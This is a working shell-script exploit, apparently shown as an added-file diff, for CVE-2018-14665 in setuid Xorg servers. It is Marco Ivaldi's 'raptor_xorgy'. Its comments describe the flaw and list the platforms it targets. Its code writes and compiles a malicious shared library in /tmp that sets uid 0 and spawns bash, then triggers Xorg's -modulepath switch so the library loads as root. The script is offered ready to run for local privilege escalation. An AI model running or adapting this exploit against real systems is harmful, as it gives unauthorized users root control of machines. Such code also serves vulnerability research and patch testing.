| 1 | + | #!/bin/sh |
| 2 | + | |
| 3 | + | # |
| 4 | + | # raptor_xorgy - xorg-x11-server LPE via modulepath switch |
| 5 | + | # Copyright (c) 2018 Marco Ivaldi <[email protected]> |
| 6 | + | # |
| 7 | + | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission |
| 8 | + | # check for -modulepath and -logfile options when starting Xorg. X server |
| 9 | + | # allows unprivileged users with the ability to log in to the system via |
| 10 | + | # physical console to escalate their privileges and run arbitrary code under |
| 11 | + | # root privileges (CVE-2018-14665). |
| 12 | + | # |
| 13 | + | # This exploit variant triggers the bug in the -modulepath command line switch |
| 14 | + | # to load a malicious X11 module in order to escalate privileges to root on |
| 15 | + | # vulnerable systems. This technique is less invasive than exploiting the |
| 16 | + | # -logfile switch, however the gcc compiler must be present in order for it to |
| 17 | + | # work out of the box. Alternatively, you must use a pre-compiled malicious .so |
| 18 | + | # compatible with the target system and modify the exploit accordingly. |
| 19 | + | # |
| 20 | + | # It works very reliably on Solaris 11.4 and should work on most vulnerable |
| 21 | + | # Linux distributions (though I haven't tested it). For some reason, it fails to |
| 22 | + | # obtain uid 0 on OpenBSD... They might have an additional protection in place. |
| 23 | + | # |
| 24 | + | # Thanks to @alanc and @nushinde for discussing this alternative vector. |
| 25 | + | # |
| 26 | + | # See also: |
| 27 | + | # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm |
| 28 | + | # https://github.com/0xdea/exploits/blob/master/solaris/raptor_solgasm |
| 29 | + | # https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html |
| 30 | + | # https://nvd.nist.gov/vuln/detail/CVE-2006-0745 |
| 31 | + | # |
| 32 | + | # Usage: |
| 33 | + | # raptor@stalker:~$ chmod +x raptor_xorgy |
| 34 | + | # raptor@stalker:~$ ./raptor_xorgy |
| 35 | + | # [...] |
| 36 | + | # root@stalker:~# id |
| 37 | + | # uid=0(root) gid=0(root) |
| 38 | + | # |
| 39 | + | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): |
| 40 | + | # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] |
| 41 | + | # Oracle Solaris 11 SPARC [untested] |
| 42 | + | # CentOS Linux 7 [untested, it should work] |
| 43 | + | # Red Hat Enterprise Linux 7 [untested] |
| 44 | + | # Ubuntu Linux 18.10 [untested] |
| 45 | + | # Ubuntu Linux 18.04 LTS [untested] |
| 46 | + | # Ubuntu Linux 16.04 LTS [untested] |
| 47 | + | # Debian GNU/Linux 9 [untested] |
| 48 | + | # [...] |
| 49 | + | # |
| 50 | + | |
| 51 | + | echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch" |
| 52 | + | echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>" |
| 53 | + | echo |
| 54 | + | |
| 55 | + | # prepare the payload |
| 56 | + | cat << EOF > /tmp/pwned.c |
| 57 | + | _init() |
| 58 | + | { |
| 59 | + | setuid(0); |
| 60 | + | setgid(0); |
| 61 | + | system("/bin/bash"); |
| 62 | + | } |
| 63 | + | EOF |
| 64 | + | # libglx.so should be a good target, refer to Xorg logs for other candidates |
| 65 | + | gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so |
| 66 | + | if [ $? -ne 0 ]; then echo; echo "error: cannot compile /tmp/pwned.c"; exit; fi |
| 67 | + | |
| 68 | + | # trigger the bug |
| 69 | + | echo "Got root?" |
| 70 | + | Xorg -modulepath ",/tmp" :1 |
| 71 | + | |